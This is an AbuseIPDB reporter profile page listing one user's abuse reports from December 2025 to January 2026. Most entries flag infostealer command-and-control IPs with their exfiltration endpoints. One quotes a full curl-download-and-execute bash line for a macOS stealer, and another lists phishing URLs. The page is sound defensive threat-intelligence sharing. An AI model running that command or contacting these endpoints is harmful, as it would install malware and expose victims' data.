AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User ARCnetX joined AbuseIPDB in January 2022 and has reported 302 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇫🇷 167.86.93.174	28 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/f05d2501ce6f4896bb6ac2dc825b964451 ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/f05d2501ce6f4896bb6ac2dc825b96445132c125c6d97341b4b1e4baa2898f1e/detection POST http://167.86.93.174:5000/upload show less	Exploited Host
🇸🇮 176.117.107.171	27 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/671b2818d58fccbf06f7393fd0a25235ca ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/671b2818d58fccbf06f7393fd0a25235ca797890645ef54bae4d758f787d2881/detection POST https://176.117.107.171:1337/log show less	Exploited Host
🇸🇮 176.117.107.171	27 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/e67744bdacb0b087ee8568797bbe0136a4 ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/e67744bdacb0b087ee8568797bbe0136a40cd396245eddacb7ea29ecb4520db3/detection POST http://176.117.107.171:1337/log show less	Exploited Host
🇫🇷 167.86.93.174	26 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/b3016ce16ccb792bd1a0675871f7e23e4c ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/b3016ce16ccb792bd1a0675871f7e23e4ce7651b5d68a52ef52f80a42f35b746/detection POST http://167.86.93.174:5000/upload show less	Exploited Host
🇹🇷 5.226.191.130	26 Jan 2026	Electron based infostealer C2 https://www.virustotal.com/gui/file/2b0cedc1fb6699be58f321161c2058933 ... show more Electron based infostealer C2 https://www.virustotal.com/gui/file/2b0cedc1fb6699be58f321161c2058933392cca0db0d6ade4811264a2d2e81b1/detection POST http://5.226.191.130:777/send-files show less	Exploited Host
🇫🇷 167.86.93.174	25 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/767dacbd4a159fa746b922a32867f0c926 ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/767dacbd4a159fa746b922a32867f0c926788af4ccea3233df50159e71cd735a/detection POST http://167.86.93.174:5000/upload show less	Exploited Host
🇺🇸 154.201.78.105	25 Jan 2026	This IP is being used to host numerous USPS Phish on the .TOP and .ICU TLDs hxxps://adm2nz8sg2q.top ... show more This IP is being used to host numerous USPS Phish on the .TOP and .ICU TLDs hxxps://adm2nz8sg2q.top/RqOnJ9 hxxps://5w2m6bq.top/RqOnJ9 hxxps://4to46g2i.top/RqOnJ9 show less	Exploited Host
🇫🇷 167.86.93.174	24 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/c303b1fc8b693af224cacf4bd1ce3d68c6 ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/c303b1fc8b693af224cacf4bd1ce3d68c6107eedef79e53278e2fe66336b87ea/detection POST https://167.86.93.174:5000/upload show less	Exploited Host
🇩🇪 77.110.102.149	23 Jan 2026	StealC infostealer C2 https://tria.ge/260123-xwkdpsgt2a/behavioral9 POST http://77.110.102.149/857 ... show more StealC infostealer C2 https://tria.ge/260123-xwkdpsgt2a/behavioral9 POST http://77.110.102.149/8574ba9c14cf4c8b.php show less	Exploited Host
🇫🇷 167.86.93.174	23 Jan 2026	Node.JS Infostealer C2 https://www.virustotal.com/gui/file/eabcd4e63cb04e586d824738cab5a8eb3627d9ab ... show more Node.JS Infostealer C2 https://www.virustotal.com/gui/file/eabcd4e63cb04e586d824738cab5a8eb3627d9ab099e8990f8cbd6e118075b2f/detection POST http://167.86.93.174:5000/upload show less	Exploited Host
🇸🇮 176.117.107.171	21 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/232a377c6132f97859dabdba7a0a4f9b63 ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/232a377c6132f97859dabdba7a0a4f9b63b688bf170b6417d0a9bf99576c5528/detection POST http://176.117.107.171:1337/log show less	Exploited Host
🇫🇷 167.86.93.174	21 Jan 2026	Node.JS based infostealer C2 https://www.virustotal.com/gui/file/118da9874996f583171fbdfe7185aef3cd ... show more Node.JS based infostealer C2 https://www.virustotal.com/gui/file/118da9874996f583171fbdfe7185aef3cd57f796e396de6710436529c1794fa9/detection POST http://167.86.93.174:5000/upload POST http://167.86.93.174:5000/upload_wallets show less	Exploited Host
🇵🇱 45.80.158.214	19 Jan 2026	Electron based infostealer C2 https://tria.ge/260119-ra5jvsbs8d/behavioral1 flag-pl POST http:// ... show more Electron based infostealer C2 https://tria.ge/260119-ra5jvsbs8d/behavioral1 flag-pl POST http://45.80.158.214/patch POST http://45.80.158.214/request-inject POST http://45.80.158.214/request-download show less	Exploited Host
🇸🇮 176.117.107.171	15 Jan 2026	Node.JS infostealer C2 https://www.virustotal.com/gui/file/5bb29acaaf971421292c7a28f9402832be922981 ... show more Node.JS infostealer C2 https://www.virustotal.com/gui/file/5bb29acaaf971421292c7a28f9402832be922981f95205b2fb59d306f8fbc95d/detection POST https://176.117.107.171:1337/log show less	Exploited Host
🇳🇱 91.92.242.30	13 Jan 2026	Fake Game sites on Itch platform pushing BASH scripts to download and execute MAC Nova Stealer cd $ ... show more Fake Game sites on Itch platform pushing BASH scripts to download and execute MAC Nova Stealer cd $TMPDIR && curl -O http://91.92.242.30/n6h8nvzgojrjw3tw && xattr -c n6h8nvzgojrjw3tw && chmod +x n6h8nvzgojrjw3tw && ./n6h8nvzgojrjw3tw show less	Exploited Host
🇧🇷 198.1.195.17	06 Jan 2026	Electron based Evilsoul Stealer C2 https://tria.ge/260106-rrsavsaz4d/behavioral2 http://198.1.195. ... show more Electron based Evilsoul Stealer C2 https://tria.ge/260106-rrsavsaz4d/behavioral2 http://198.1.195.17:3000/download/panel http://198.1.195.17:3000/download POST http://198.1.195.17:3000/send-logs show less	Exploited Host
🇵🇱 45.80.158.214	06 Jan 2026	Electron based infostealer C2 https://tria.ge/260106-qc6z2ah14d/behavioral1 http://45.80.158.214/d ... show more Electron based infostealer C2 https://tria.ge/260106-qc6z2ah14d/behavioral1 http://45.80.158.214/download/payload.exe.br?token=a5f599ad9cbe6d6b0e2b0290ed8a671973a573c989611638eaa8058fea9419fb POST http://45.80.158.214/request-inject POST http://45.80.158.214/patch show less	Exploited Host
🇧🇷 198.1.195.17	05 Jan 2026	Electron based Evilsoul Stealer C2 https://hybrid-analysis.com/sample/396e173e88b778144c02d9e57b849 ... show more Electron based Evilsoul Stealer C2 https://hybrid-analysis.com/sample/396e173e88b778144c02d9e57b849155c25fe421bf2aa1dfe86985d9f965713e/695bca0fe132b7f20c03245a POST http://198.1.195.17:3000/send-logs http://198.1.195.17/api/key/verify/EVIL-MONTHLY-578C70D16275 show less	Exploited Host
🇹🇷 93.115.10.217	04 Jan 2026	Electron based infostealer C2 https://tria.ge/260104-qk53psfx3a/behavioral2 http://93.115.10.217:1 ... show more Electron based infostealer C2 https://tria.ge/260104-qk53psfx3a/behavioral2 http://93.115.10.217:1337/download-cookies show less	Exploited Host
🇵🇱 45.80.158.214	03 Jan 2026	Electron based infostealer C2 https://tria.ge/260103-q5c8es1ngx/behavioral2 POST http://45.80.158. ... show more Electron based infostealer C2 https://tria.ge/260103-q5c8es1ngx/behavioral2 POST http://45.80.158.214/request-download POST http://45.80.158.214/request-inject POST http://45.80.158.214/patch http://45.80.158.214/download/payload.exe.br?token=c0407272fa44771b00ae46708fa4343055af9df9f7a3b161c4d59ee7ac9cbd68 show less	Exploited Host
🇹🇷 87.248.157.152	03 Jan 2026	PyInstaller Stealer C2 https://tria.ge/260103-q3mdbaam5w/behavioral1 POST http://87.248.157.152:50 ... show more PyInstaller Stealer C2 https://tria.ge/260103-q3mdbaam5w/behavioral1 POST http://87.248.157.152:5000/upl04d show less	Exploited Host
🇵🇱 45.80.158.214	02 Jan 2026	Electron based infostealer C2 https://tria.ge/260102-pvkdbaxrhz/behavioral2 GET http://45.80.158.2 ... show more Electron based infostealer C2 https://tria.ge/260102-pvkdbaxrhz/behavioral2 GET http://45.80.158.214/download/payload.exe.br?token=81cc4fa9ad31b5a71a3cff84c0b1201a54c3333d1987894a6fef343c5f60abf1 POST http://45.80.158.214/request-download POST http://45.80.158.214/request-inject POST http://45.80.158.214/patch show less	Exploited Host
🇧🇷 198.1.195.17	30 Dec 2025	Electron based Evilsoul Stealer C2 https://tria.ge/251230-p8dgxsh17b/behavioral1 http://198.1.195. ... show more Electron based Evilsoul Stealer C2 https://tria.ge/251230-p8dgxsh17b/behavioral1 http://198.1.195.17:3000/download http://198.1.195.17:3000/download/panel POST http://198.1.195.17:3000/send-logs show less	Exploited Host
🇵🇱 45.80.158.214	29 Dec 2025	Electron based infostealer C2 https://tria.ge/251229-ppq9nsznez/behavioral2 POST http://45.80.158. ... show more Electron based infostealer C2 https://tria.ge/251229-ppq9nsznez/behavioral2 POST http://45.80.158.214/request-inject POST http://45.80.158.214/request-download http://45.80.158.214/download/payload.exe.br?token=a34004a417d67e95ac36efb3eea741ccb7325fdefedd21e070ecd04c6a913085 POST http://45.80.158.214/patch show less	Exploited Host
🇧🇷 198.1.195.17	26 Dec 2025	Electron based Evilsoul Stealer C2 https://tria.ge/251226-q1x22a1jhs/behavioral1 http://198.1.195. ... show more Electron based Evilsoul Stealer C2 https://tria.ge/251226-q1x22a1jhs/behavioral1 http://198.1.195.17:3000/download/panel http://198.1.195.17/api/key/verify/EVIL-WEEKLY-8FA874D78CE6 POST http://198.1.195.17:3000/send-logs POST http://198.1.195.17/api/client/register show less	Exploited Host